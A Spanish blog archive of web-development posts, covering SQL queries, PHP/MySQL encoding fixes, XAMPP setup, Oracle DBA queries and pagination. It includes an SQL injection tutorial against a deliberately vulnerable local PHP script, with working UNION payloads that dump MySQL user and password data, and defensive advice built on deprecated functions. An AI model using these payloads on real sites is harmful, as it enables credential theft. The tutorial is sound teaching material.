Archivo

Archive for the ‘Desarrollo Web’ Category

Documentando las tablas

A veces me es necesario documentar las tablas que una base de datos tiene. Cuando no hay nada sofisticado a la mano lo mejor es un query. Este query me ha sacado de muchos apuros.

Me da el detalle de las tablas existentes en una base de datos

select
b.name as TableName,
a.name as ColumnName,
c.name as DataType,
a.length as Length
from syscolumns a
join sysobjects b on b.id = a.id
join systypes c on c.xtype = a.xtype
where
–b.name LIKE ‘SI_CONCEPTO%’and
b.type = ‘U’
order by
b.name asc,
a.colid asc

Se puede hacer más complejo para obtener más detalle. Si alguien tiene uno a la mano que pueda compartir se los agradecería!

Error con acentos y eÑes en PHP/MySQL (Solucionado)

Muchas veces al crear una web con PHP y MySQL, ocurre un problema al introducir y mostrar datos: estos se alteran acabando en áóñ y cosas parecidas. Cuando me pasa esto suelo empezar a toquetear cosas, cambiar charsets y traducir a ñ o á pero nada funciona. El problema es que la configuración del cotejamiento de los caracteres especiales como acentos, eñes y demás símbolos no es el mismo entre la base de datos (MySQL), el lenguaje de servidor (PHP) y el servidor (Apache).

Así que me puse a buscar y después de encontrar comentarios buenísimos de gente por los foros puedo hacer un resumen de todo lo necesario cuando nos ocurre un problema de estos (id haciendo y testeando si ya funciona todo bien paso a paso).
Guía paso a paso para solucionar el problema de los acentos y eñes

1. Al crear la base de datos MySQL, asegúrate que los campos string y demás esten en utf8_spanish_ci y el cotejamiento de las tablas en
utf_unicode_ci (más tarde en Operations > Collation de phpMyAdmin se puede cambiar)
2. Pon en el de todos los archivos HTML:

3. Y en los puramente PHP (que muestran XML, llamadas de AJAX, APIs…) pon el código:

header(«Content-Type: text/html;charset=utf-8»);

4. Al crear la conexión de PHP con MySQL, envía esta consulta justo tras la conexión:

mysql_query(«SET NAMES ‘utf8′»);

(Para MySQLi escribe $acentos = $db->query(«SET NAMES ‘utf8′»); gracias Fernando)

5. Quita el DefaultCharset del Apache o modifícalo
6. Como última y desesperada opción, quita todos los htmlentities();

Haciendo estos pasos se solucionará cualquier problema de codificación de caracteres.

Quitar caracteres como Enter y Tabulado en consulta Oracle

Varios usuarios han reportado problemas al generar un reporte, mediante una consulta SQL, donde el resultado de cada fila lo entrega en dos o más líneas. También las columnas quedan desplazadas, apareciendo filas con más columnas que las debidas.

La mayoría de las veces este problema se debe a que un dato extraído en el reporte contiene los caracteres de control Enter y/o Tabulado.

Para evitar este problema se debe de reemplazar el o los caracteres de control por un espacio o cualquier otro carácter (puede ser incluso carácter nulo).

El Enter está formado por un salto de línea (carácter 13) y un retorno de carro (carácter 10). Para quitarlo se debe de reemplazar esta secuencia de caracteres por un espacio o cualquier texto que se desee.

El Tabulado es representado con el carácter número 9, por lo que para quitarlo se reemplaza por un espacio o el carácter deseado.

Quitar caracteres de control (Enter y Tabulado) de columnas en una consulta con Oracle:

select datos_sin_problema,
replace(nombre_del_campo, chr(13)||chr(10), ' ') dato_sin_enter,
replace(nombre_del_campo, chr(9), ' ') dato_sin_tabulado,
replace(replace(nombre_del_campo,
chr(13)||chr(10), ' '), chr(9), ' ') dato_sin_enter_ni_tabulado
from nombre_de_tabla;

Desabilitar Constraint’s de una Tabla en ORACLE

ALTER TABLE TABLE disable CONSTRAINT SYS_PK CASCADE;

—- LUEGO PROCEDEMOS CON EL TRUNCATE TABLE———–

TRUNCATE TABLE TABLE DROP STORAGE;

Seguridad de Aplicaciones WEB

Instalar XAMPP en Ubuntu: PHP + MySQL + Apache

Como desarrollador prefiero instalar para desarrollo un «bundle» con el entorno de trabajo necesario para desarrollar; es mucho mejor que con una única instalación tengas todo lo que necesitas. Los bundles más comunes son para programar con PHP y en está ocasión quiero hablar sobre XAMPP un instalador sencillo de Apache que contiene MySQL, PHP y Perl. Otra de las ventajas que podemos encontrar es que puede correr sobre Linux,Mac OS y Windows, aunque me concentraré en la forma de instalarlo en Ubuntu, pero para WIndows o Mac OS es praticamente lo mismo: Extraer y ejecutar.
  1. Lo primero es descargar el paquete de la Web Oficial, tu decides si bajas una Beta o versión estable: Descarga XAMPP para Linux.
  2. Una vez descargado, abres una terminal y te sitúas en la carpeta donde se allá descargado XAMPP, en mi caso esta en mi carpeta home.
  3. Ahora ejecutamos un simple comando para extraer el contenido del archivo empaquetado en la carpeta /opt del sistema, y debe ser en está pues hay varias referencias sobre esta carpeta en la configuración del XAMPP.

    sudo tar xvfz xampp-linux-1.7.3a.tar.gz -C /opt

    Tu deberás poner el nombre del archivo que hayas bajado, así que ojo con ese detalle.

  4. Una vez terminada la extracción intentaremos arrancar los servicios con el siguiente comando:

    sudo /opt/lampp/lampp start

    Este comando deberá arrojar la siguiente salida:

    Starting XAMPP 1.7.3a...
    LAMPP: Starting Apache...
    LAMPP: Starting MySQL...
    LAMPP started.

  5. Hasta ahora todo va bien y para asegurarnos que la instalación fue completa correctamente desde el navegador intentamos ingresar al localhot: http://localhost. La primera pantalla mostrará el logo y tendrá una lista de idiomas disponibles, seleccionamos el nuestro y la pantalla que veremos después será la administración.
  6. Hasta este punto ya podemos decir que la instalación fue completada con éxito y lo que sigue es subir tus códigos para comenzar a desarrollar. Para facilitar el desarrollo cuentas con herramientas como PhpMyAdmin para administrar las BD, Webalizer para estadísticas de acceso, algunos demos y un área administrativa para XAMPP.
  7. Para apagar los servicios sólo ejecutamos sudo /opt/ lampp/lampp stop

Introduccion a los ataques SQL injection

Para explicar las inyecciones SQL voy a presuponer que se tienen ciertos conocimientos de desarrollo de aplicaciones web utilizando un lenguaje del lado del servidor como PHP, así como el uso de SQL para realizar consultas a una base de datos MySQL. En primer lugar veremos una explicación teórica sobre los ataques SQL Injection. Después un ejemplo práctico de como aprovecharse de esta vulnerabilidad para extraer información de la base de datos y por último veremos como podemos proteger nuestras aplicaciones de este tipo de ataques.

Teoría sobre los ataques SQL Injection

Los ataques SQL Injection explotan una vulnerabilidad en la validación de las entradas a la base de datos de una aplicación. Una inyección SQL consiste en inyectar un código SQL invasor dentro de otro código SQL para alterar su funcionamiento normal haciendo que se ejecute el código invasor en la base de datos.

La mayoría de aplicaciones webs consisten en un conjunto de operaciones con la base de datos, por ejemplo, en un foro para crear nuevos comentarios se insertan registros en la base de datos y para listar las entradas se seleccionan registros en la base de datos. Estas operaciones reciben el nombre de CRUD (Create, Retrieve, Update y Delete). Las aplicaciones son un conjunto de módulos separados que interaccionan entre sí a través de los enlaces y los formularios. Por lo tanto es normal que el desarrollador enlace las distintas páginas utilizando variables que después utilizará para hacer las consultas pertinentes a la base de datos.

Vamos a ver un ejemplo teórico para que quede claro como funcionan la mayoría de las aplicaciones web. Imaginaros que entrais al índice principal de un foro donde podeís ver cada categoría. Si quereis ver las entradas de cierta categoría pulsareis sobre el enlace y os mostrará las primeras entradas paginadas.

La URL del enlace podría ser algo así (es ficticia, no entren):

http://www.miforoinventado.com/viewforum.php?cat=3

Internamente el desarrollador realizará una consulta a la tabla de entradas y seleccionará aquellas cuya categoría tenga un id igual a tres. La consulta podría ser algo así:

$consulta = 'SELECT * FROM entrada
             WHERE entrada.id_categoria = '.$_GET['cat'].
            ' ORDER BY entrada.fecha ASC
             LIMIT 1,10';

Esta consulta es vulnerable a ataques SQL Injection. El desarrollador está presuponiendo que nadie va a alterar los datos de entrada de la variable cat y la utiliza en la consulta sin haber pasado antes algunos filtros para evitar las inyecciones SQL. Por lo que podemos decir que este tipo de vulnerabilidad está presente en aquellas consultas que confían en los datos de entrada del usuario y como ya hemos dicho muchísimas veces, una regla fundamental del desarrollo de aplicaciones web es nunca confiar en las entradas de los datos del usuario, ya que podrían verse alteradas, ya sea porque el usuario es un cracker que se quiere divertir o porque el gato del usuario se aburre y se ha puesto a caminar por encima del teclado.

Ejemplo práctico de ataque SQL Injection

Vamos a ver un ejemplo sencillo para practicar las inyecciones SQL. Antes de empezar con los ataques SQL Injection, nos preparamos un entorno seguro de pruebas:

1. Conectamos el servidor web Apache y el servidor MySQL.

2. Creamos una base de datos llamada inyeccion.

CREATE DATABASE inyeccion;

USE inyeccion;

3. Creamos una tabla usuario donde se almacenarán los nombres de usuario con las contraseñas de todos los usuarios que utilizen nuestra aplicación.

CREATE TABLE usuario
(
  id INT(15) UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
  login VARCHAR(30) NOT NULL,
  password VARCHAR(50) NOT NULL,
  email VARCHAR(50) NOT NULL
);

4. Rellenamos la tabla con datos de prueba.

INSERT INTO usuario
VALUES (NULL, 'francisco', 'password_francisco', 'email_francisco'),
(NULL, 'jose', 'password_jose', 'email_jose'),
(NULL, 'julia', 'password_julia', 'email_julia'),
(NULL, 'estefania', 'password_estefania', 'email_estefania'),
(NULL, 'pablo', 'password_pablo', 'email_pablo');

5. Desarrollamos un script PHP de prueba para inyecciones. Algo sencillo, por ejemplo, un formulario de inicio de sesión que le pida al usuario su id y le muestre al usuario la información que la aplicación dispone de él, es decir, su id, su login y su email.

<html>
<head>
  <title>SQL Injection</title>
</head>
<body>

  <form action="inyecciones.php" method="get">
     <label for="id">ID: </label>
     <input type="text" id="id" name="id" />
     <input type="submit" value="Iniciar" />
  </form>

<?php
if( isset($_GET['id']) )
{
  $id    = $_GET['id'];

  $mysqli = new mysqli('localhost', 'root', '');

  $mysqli->select_db('inyeccion');

  $consulta = 'SELECT * FROM usuario WHERE id='.$id;

  echo $consulta.'<br />';

  $resultado = $mysqli->query($consulta);

  $usuario = $resultado->fetch_row();
  echo 'DATOS DEL USUARIO: <br />';
  echo 'ID: '.$usuario[0].'<br />';
  echo 'LOGIN: '.$usuario[1].'<br />';
  echo 'EMAIL: '.$usuario[3].'<br />';

  $resultado->free();

  $mysqli->close();
}
?>
</body>
</html>

Como nosotros hemos sido los que hemos desarrollado el código de prueba sabemos que la consulta es vulnerable a inyecciones SQL porque no filtra los datos de entrada. Lo normal es no disponer del código y realizar inyecciones a ciegas, lo que se conoce como Blind SQL Injection.

Antes de nada vamos a ver como funciona nuestro pequeño script accediendo a él desde el navegador:

Introducimos algunos datos de prueba:

Pulsamos el botón Iniciar y vemos que nos muestra de nuevo el formulario para seguir haciendo pruebas, la consulta que se ha ejecutado en el servidor MySQL y los datos que ha recuperado esa consulta, el id, el login y el email:

Fijaros atentamente en la barra de dirección del navegador que es desde donde vamos a realizar las inyecciones, en nuestro ejemplo también podríamos inyectar desde el formulario porque estamos utilizando el método GET de HTTP para pasar los datos al servidor.

http://localhost/pruebas/inyecciones.php?id=1
Comprobando si la aplicación es vulnerable a SQL Injection:

Para comprobar si la aplicación es vulnerable a SQL Injection lo normal es probar alguna inyección SQL básica para ver lo que sucede.

http://localhost/pruebas/inyecciones.php?id=1 and 1=1 --

SELECT * FROM usuario WHERE id=1 and 1=1 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

Como podemos observar hemos inyectado nuestro primer código SQL en la consulta y nada ha cambiado, sigue funcionando de la misma manera. Sino fuera porque mostramos la consulta que se ejecuta en el servidor todavía no sabríamos si la aplicación es vulnerable dado que sigue funcionando de la misma forma. Esto es así porque simplemente hemos añadido una condición a la selección que siempre se va a cumplir, puesto que uno es igual a uno. Los dos guiones se utilizan para comentar todo lo que venga después de la consulta.

Para comprobar si es vulnerable añadimos una condición que nunca se cumple y vemos que es lo que sucede.

http://localhost/pruebas/inyecciones.php?id=1 and 1=0 --

SELECT * FROM usuario WHERE id=1 and 1=0 --
DATOS DEL USUARIO:
ID:
LOGIN:
EMAIL:

¡EUREKA! Tenemos una aplicación vulnerable a SQL Injection, aunque ya lo sabíamos desde un principio. Vemos que al añadir una condición que nunca se va a cumplir, puesto que uno nunca va a ser igual a cero, la consulta no devuelve ningún registro y no muestra ningún dato por pantalla.

Extrayendo datos:

Ya sabemos que nuestra aplicación es vulnerable a las inyecciones SQL. En primer lugar vamos a extraer el número de columnas que tiene la tabla usuario. Para poder saber el número de columnas vamos a jugar con la opción ORDER BY de la sentencia SELECT. La cuestión es que si intentamos ordenar los registros que seleccionamos por un número mayor de las columnas que tengamos la consulta no devolverá ningún registro dado que se producirá un error fatal y se abortará la ejecución del script.

http://localhost/pruebas/inyecciones.php?id=1 order by 1 --

SELECT * FROM usuario WHERE id=1 order by 1 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 2 --

SELECT * FROM usuario WHERE id=1 order by 2 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 3 --

SELECT * FROM usuario WHERE id=1 order by 3 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 4 --

SELECT * FROM usuario WHERE id=1 order by 4 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 5 --

SELECT * FROM usuario WHERE id=1 order by 5 --

Fatal error: Call to a member function fetch_row() on a
non-object in C:\wamp\www\pruebas\inyecciones.php on line 28

Hemos descubierto que la tabla usuario (aunque nosotros no sabemos todavía que la tabla se llama usuario) tiene 4 columnas, puesto que con ORDER BY 5 se produce un error fatal. He activado la directiva display_errors en la configuración de PHP para que muestre los errores fatales que se producen.

Obteniendo información del servidor:

Antes de comenzar a extraer información del servidor MySQl tenemos que explicar la sentencia UNION para unir consultas. Nuestro script está programado para ejecutar las sentencias SQL de una en una, es decir, no podemos ejecutar múltiples sentencias a la vez, por eso nos valemos de la sentencia UNION que se encarga de unir los resultados de dos o más consultas. Solo hay un inconveniente, que todas las sentencias SELECT que unamos conUNION deben de utilizar el mismo número de columnas, por eso hemos extraído el número de columnas anteriormente.

http://localhost/pruebas/inyecciones.php?id=-1 UNION SELECT 1,2,3,4

SELECT * FROM usuario WHERE id=-1 UNION SELECT 1,2,3,4
DATOS DEL USUARIO:
ID: 1
LOGIN: 2
EMAIL: 4

Qué estamos haciendo? Hemos unido dos consultas, una que no devuelve ningún dato porque no existe ningún usuario con identificador negativo, y una consulta que devuelve un 1, un 2, un 3 y un 4. De esta forma vemos como se muestran los datos de la segunda consulta, en concreto, se muestra un 1, un 2 y un 4. Ahora podremos sustituir esos tres números en nuestra consulta para extraer información del servidor MySQL.

Podemos utilizar algunas funciones para extraer información:
– user(): Devuelve el usuario de la base de datos.
– version(): Devuelve la versión del servidor MySQL.
– database(): Devuelve el nombre de la base de datos actual.
– current_user(): Devuelve el nombre de usuario y el del host para el que está autenticada la conexión.
last_insert_id(): Devuelve el último valor generado automáticamente que fue insertado en una columna AUTO_INCREMENT.
– connection_id(): Devuelve el ID de una conexion.

http://localhost/pruebas/inyecciones.php?id=-1 UNION  user(),database(),3,version()

SELECT * FROM usuario WHERE id=-1 UNION SELECT user(),database(),3,version()
DATOS DEL USUARIO:
ID: root@localhost
LOGIN: inyeccion
EMAIL: 5.1.36-community-log

Ya tenemos el usuario que estamos utilizando para acceder a la base de datos, y mira que suerte, es root, así que seguramente tengamos todos los privilegios asignados para hacer todo lo que queramos. También tenemos el nombre de la base de datos, inyeccion, y además la versión MySQL que estamos utilizando 5.1.36-community-log. Con todos estos datos ya podríamos empezar a hacer cosas interesantes, pero no va de eso este artículo.

Sigamos extrayendo informacion.

http://localhost/pruebas/inyecciones.php?id=-1 UNION SELECT current_user(),last_insert_id(),3,connection_id()

SELECT * FROM usuario WHERE id=-1 UNION SELECT current_user(),last_insert_id(),3,connection_id()
DATOS DEL USUARIO:
ID: root@localhost
LOGIN: 0
EMAIL: 44

Lo normal cuando encontramos una vulnerabilidad de este estilo es extraer un usuario y una contraseña para acceder remotamente al servidor y ya desde un entorno más sencillo, como una línea de comandos, obtener toda la información que queramos.

MySQL cuenta con una base de datos interna llamada mysql. Dentro de esta base de datos almacena los usuarios y las contraseñas en una tabla llamada users. Por lo tanto podemos obtener esta información inyectando una sentencia SQL:

http://localhost/pruebas/inyecciones.php?id=-1 UNION select host, user, 3, password from mysql.user

SELECT * FROM usuario WHERE id=-1 UNION select host, user, 3, password from mysql.user
DATOS DEL USUARIO:
ID: localhost
LOGIN: root
EMAIL:

Vemos que el usuario es root, el servidor está en localhost dado que está en mi ordenador, pero aquí obtendríais la dirección ip o el nombre de dominio donde estuviera alojado el servidor, y por último que no tiene contraseña. ¡VAYA SEGURIDAD! Si tuviera contraseña os daría un hash que tendrías que crackear utilizando por ejemplo el John The Ripper.

Ahora podemos conectarnos recomtamente en el puerto 3306 que es el que suele usar MySQL por defecto y obtener todos los datos que queramos. Si no podemos acceder remotamente desde la línea de comandos podemos seguir extrayendo información mediante inyecciones haciendo uso de las tablas mysql e information_schema.

Protegiendo nuestras aplicaciones de ataques SQL Injection:

Este tipo de vulnerabilidades son muy peligrosas y hay que aprender a protegerse de ellas. Hay muchos trucos para ponérselo más difícil a los atacantes. Una de las mejores soluciones es utilizar la función mysql_real_escape_string() que se encarga de escapar los caracteres especiales utilizados en las consultas SQL, o utilizar el método real_escape_string() si utilizamos la versión orientada a objetos.

Podemos utilizar este método para escapar los strings que se pasen a las consultas SQL pero si utilizamos datos numéricos en vez de cadenas podemos comprobar que el dato de entrada es un número entero o es un número decimal, ya sea mediante las funciones is_int() ois_float() o realizando castings (int), (float).

Vamos a ver un ejemplo de consulta SQL que no es vulnerable a inyecciones SQL:

$consulta= 'SELECT *
FROM categoria
WHERE id_categoria=\''.(int)$_GET['id'].'\'';

$consulta= 'SELECT *
FROM categoria
WHERE titulo=\''.mysql_real_escape_string($_GET['titulo']).'\';

De esta forma protegemos nuestras aplicaciones de todo tipo de inyecciones SQL.

RESUMEN:

EN este artículo hemos visto que peligroso puede ser este tipo de vulnerabilidades en nuestras aplicaciones ya que mediante inyecciones SQL pueden obtener todos los datos que quieran de nuestra base de datos, incluso de ficheros alojados en el servidor. Hemos practicado un poco con un ejemplo muy sencillo. Podéis seguir practicando con el mismo ejemplo y extraer todos los datos que querais de las tablas mysql e information_schema, desde el nombre de todas las tablas de la base de datos, nombres de las columnas, registros de las tablas, etc.

 

Tips Básicos para la Administración de Base de Datos en Oracle

Hola que tal esperando que les sea de utilidad posteo el siguiente listado con las consultas basicas para la administracion de Base datos en Oracle.

•• Consulta Oracle SQL sobre la vista que muestra el estado de la base de datos:
select * from v$instance

•• Consulta Oracle SQL que muestra si la base de datos está abierta
select status from v$instance

•• Consulta Oracle SQL sobre la vista que muestra los parámetros generales de Oracle
select * from v$system_parameter

•• Consulta Oracle SQL para conocer la Versión de Oracle
select value from v$system_parameter where name = ‘compatible’

•• Consulta Oracle SQL para conocer la Ubicación y nombre del fichero spfile
select value from v$system_parameter where name = ‘spfile’

•• Consulta Oracle SQL para conocer la Ubicación y número de ficheros de control
select value from v$system_parameter where name = ‘control_files’

•• Consulta Oracle SQL para conocer el Nombre de la base de datos
select value from v$system_parameter where name = ‘db_name’

•• Consulta Oracle SQL sobre la vista que muestra las conexiones actuales a Oracle Para visualizarla es necesario entrar con privilegios de administrador
select osuser, username, machine, program
from v$session
order by osuser

•• Consulta Oracle SQL que muestra el número de conexiones actuales a Oracle agrupado por aplicación que realiza la conexión
select program Aplicacion, count(program) Numero_Sesiones
from v$session
group by program
order by Numero_Sesiones desc

•• Consulta Oracle SQL que muestra los usuarios de Oracle conectados y el número de sesiones por usuario
select username Usuario_Oracle, count(username) Numero_Sesiones
from v$session
group by username
order by Numero_Sesiones desc
Propietarios de objetos y número de objetos por propietario
select owner, count(owner) Numero
from dba_objects
group by owner
order by Numero desc

•• Consulta Oracle SQL sobre el Diccionario de datos (incluye todas las vistas y tablas de la Base de Datos)
select * from dictionary

•• Consulta Oracle SQL que muestra los datos de una tabla especificada (en este caso todas las tablas que lleven la cadena «XXX»
select * from ALL_ALL_TABLES where upper(table_name) like ‘%XXX%’

•• Consulta Oracle SQL para conocer las tablas propiedad del usuario actual
select * from user_tables

•• Consulta Oracle SQL para conocer todos los objetos propiedad del usuario conectado a Oracle
select * from user_catalog

•• Consulta Oracle SQL para el DBA de Oracle que muestra los tablespaces, el espacio utilizado, el espacio libre y los ficheros de datos de los mismos:
Select t.tablespace_name «Tablespace», t.status «Estado»,
ROUND(MAX(d.bytes)/1024/1024,2) «MB Tamaño»,
ROUND((MAX(d.bytes)/1024/1024) –
(SUM(decode(f.bytes, NULL,0, f.bytes))/1024/1024),2) «MB Usados»,
ROUND(SUM(decode(f.bytes, NULL,0, f.bytes))/1024/1024,2) «MB Libres»,
t.pct_increase «% incremento»,
SUBSTR(d.file_name,1,80) «Fichero de datos»
FROM DBA_FREE_SPACE f, DBA_DATA_FILES d, DBA_TABLESPACES t
WHERE t.tablespace_name = d.tablespace_name AND
f.tablespace_name(+) = d.tablespace_name
AND f.file_id(+) = d.file_id GROUP BY t.tablespace_name,
d.file_name, t.pct_increase, t.status ORDER BY 1,3 DESC

•• Consulta Oracle SQL para conocer los productos Oracle instalados y la versión:
select * from product_component_version

•• Consulta Oracle SQL para conocer los roles y privilegios por roles:
select * from role_sys_privs

•• Consulta Oracle SQL para conocer las reglas de integridad y columna a la que afectan:
select constraint_name, column_name from sys.all_cons_columns

•• Consulta Oracle SQL para conocer las tablas de las que es propietario un usuario, en este caso «xxx»:
SELECT table_owner, table_name from sys.all_synonyms where table_owner like ‘xxx’

•• Consulta Oracle SQL como la anterior, pero de otra forma más efectiva (tablas de las que es propietario un usuario):
SELECT DISTINCT TABLE_NAME
FROM ALL_ALL_TABLES
WHERE OWNER LIKE ‘HR’

•• Parámetros de Oracle, valor actual y su descripción:
SELECT v.name, v.value value, decode(ISSYS_MODIFIABLE, ‘DEFERRED’,
‘TRUE’, ‘FALSE’) ISSYS_MODIFIABLE, decode(v.isDefault, ‘TRUE’, ‘YES’,
‘FALSE’, ‘NO’) «DEFAULT», DECODE(ISSES_MODIFIABLE, ‘IMMEDIATE’,
‘YES’,’FALSE’, ‘NO’, ‘DEFERRED’, ‘NO’, ‘YES’) SES_MODIFIABLE,
DECODE(ISSYS_MODIFIABLE, ‘IMMEDIATE’, ‘YES’, ‘FALSE’, ‘NO’,
‘DEFERRED’, ‘YES’,’YES’) SYS_MODIFIABLE , v.description
FROM V$PARAMETER v
WHERE name not like ‘nls%’ ORDER BY 1

•• Consulta Oracle SQL que muestra los usuarios de Oracle y datos suyos (fecha de creación, estado, id, nombre, tablespace temporal,…):
Select * FROM dba_users

•• Consulta Oracle SQL para conocer tablespaces y propietarios de los mismos:
select owner, decode(partition_name, null, segment_name,
segment_name || ‘:’ || partition_name) name,
segment_type, tablespace_name,bytes,initial_extent,
next_extent, PCT_INCREASE, extents, max_extents
from dba_segments
Where 1=1 And extents > 1 order by 9 desc, 3

•• Últimas consultas SQL ejecutadas en Oracle y usuario que las ejecutó:
select distinct vs.sql_text, vs.sharable_mem,
vs.persistent_mem, vs.runtime_mem, vs.sorts,
vs.executions, vs.parse_calls, vs.module,
vs.buffer_gets, vs.disk_reads, vs.version_count,
vs.users_opening, vs.loads,
to_char(to_date(vs.first_load_time,
‘YYYY-MM-DD/HH24:MI:SS’),’MM/DD HH24:MI:SS’) first_load_time,
rawtohex(vs.address) address, vs.hash_value hash_value ,
rows_processed , vs.command_type, vs.parsing_user_id ,
OPTIMIZER_MODE , au.USERNAME parseuser
from v$sqlarea vs , all_users au
where (parsing_user_id != 0) AND
(au.user_id(+)=vs.parsing_user_id)
and (executions >= 1) order by buffer_gets/executions desc

•• Consulta Oracle SQL para conocer todos los tablespaces:
select * from V$TABLESPACE

•• Consulta Oracle SQL para conocer la memoria Share_Pool libre y usada
select name,to_number(value) bytes
from v$parameter where name =’shared_pool_size’
union all
select name,bytes
from v$sgastat where pool = ‘shared pool’ and name = ‘free memory’

•• Cursores abiertos por usuario
select b.sid, a.username, b.value Cursores_Abiertos
from v$session a,
v$sesstat b,
v$statname c
where c.name in (‘opened cursors current’)
and b.statistic# = c.statistic#
and a.sid = b.sid
and a.username is not null
and b.value >0
order by 3

•• Consulta Oracle SQL para conocer los aciertos de la caché (no debería superar el 1 por ciento)
select sum(pins) Ejecuciones, sum(reloads) Fallos_cache,
trunc(sum(reloads)/sum(pins)*100,2) Porcentaje_aciertos
from v$librarycache
where namespace in (‘TABLE/PROCEDURE’,’SQL AREA’,’BODY’,’TRIGGER’);

•• Sentencias SQL completas ejecutadas con un texto determinado en el SQL
SELECT c.sid, d.piece, c.serial#, c.username, d.sql_text
FROM v$session c, v$sqltext d
WHERE c.sql_hash_value = d.hash_value
and upper(d.sql_text) like ‘%WHERE CAMPO LIKE%’
ORDER BY c.sid, d.piece

•• Una sentencia SQL concreta (filtrado por sid)
SELECT c.sid, d.piece, c.serial#, c.username, d.sql_text
FROM v$session c, v$sqltext d
WHERE c.sql_hash_value = d.hash_value
and sid = 105
ORDER BY c.sid, d.piece

•• Consulta Oracle SQL para conocer el tamaño ocupado por la base de datos
select sum(BYTES)/1024/1024 MB from DBA_EXTENTS

•• Consulta Oracle SQL para conocer el tamaño de los ficheros de datos de la base de datos
select sum(bytes)/1024/1024 MB from dba_data_files

•• Consulta Oracle SQL para conocer el tamaño ocupado por una tabla concreta sin incluir los índices de la misma
select sum(bytes)/1024/1024 MB from user_segments
where segment_type=’TABLE’ and segment_name=’NOMBRETABLA’

•• Consulta Oracle SQL para conocer el tamaño ocupado por una tabla concreta incluyendo los índices de la misma
select sum(bytes)/1024/1024 Table_Allocation_MB from user_segments
where segment_type in (‘TABLE’,’INDEX’) and
(segment_name=’NOMBRETABLA’ or segment_name in
(select index_name from user_indexes where table_name=’NOMBRETABLA’))

•• Consulta Oracle SQL para conocer el tamaño ocupado por una columna de una tabla
select sum(vsize(‘NOMBRECOLUMNA’))/1024/1024 MB from NOMBRETABLA

•• Consulta Oracle SQL para conocer el espacio ocupado por usuario
SELECT owner, SUM(BYTES)/1024/1024 MB FROM DBA_EXTENTS
group by owner

•• Consulta Oracle SQL para conocer el espacio ocupado por los diferentes segmentos (tablas, índices, undo, rollback, cluster, …)
SELECT SEGMENT_TYPE, SUM(BYTES)/1024/1024 MB FROM DBA_EXTENTS
group by SEGMENT_TYPE

•• Consulta Oracle SQL para obtener todas las funciones de Oracle: NVL, ABS, LTRIM, …
SELECT distinct object_name
FROM all_arguments
WHERE package_name = ‘STANDARD’
order by object_name

•• Consulta Oracle SQL para conocer el espacio ocupado por todos los objetos de la base de datos, muestra los objetos que más ocupan primero
SELECT SEGMENT_NAME, SUM(BYTES)/1024/1024 MB FROM DBA_EXTENTS
group by SEGMENT_NAME
order by 2 desc

Paginar resultados de Mysql en PHP en 3 Lineas

Hola como estan bueno como todos sabemos a veces nos es un poco complicado entender el codigo para realizar una paginacion de resultados en php y mysql, bueno aca les dejo la solucion para todo este problema es una libreria en la cual solo debemos poner la consulta y la libreria sen encarga del resto, espero que lo disfruten.


//Conexión a la base de datos
$con = mysql_connect("localhost","tu_username","tu_password") or die (mysql_error());
mysql_select_db("tu_base",$con) or die (mysql_error());

//Sentencia sql (sin limit)
$_pagi_sql = "SELECT * FROM clientes WHERE sexo='m' ORDER BY edad";

//cantidad de resultados por página (opcional, por defecto 20)
$_pagi_cuantos = 10;

//Incluimos el script de paginación. Éste ya ejecuta la consulta automáticamente
include("paginator.inc.php");

//Leemos y escribimos los registros de la página actual
while($row = mysql_fetch_array($_pagi_result)){
echo $row['nombre']."
";
}

//Incluimos la barra de navegación
echo"

".$_pagi_navegacion."

";

Aca les dejo la pagina original a mi me sirvio bastante. Willy Jave
http://jpinedo.webcindario.com/scripts/paginator/

Categorías: Desarrollo Web, Mysql, PHP

kindle de Amazon – Revolucion en Lectores Digitales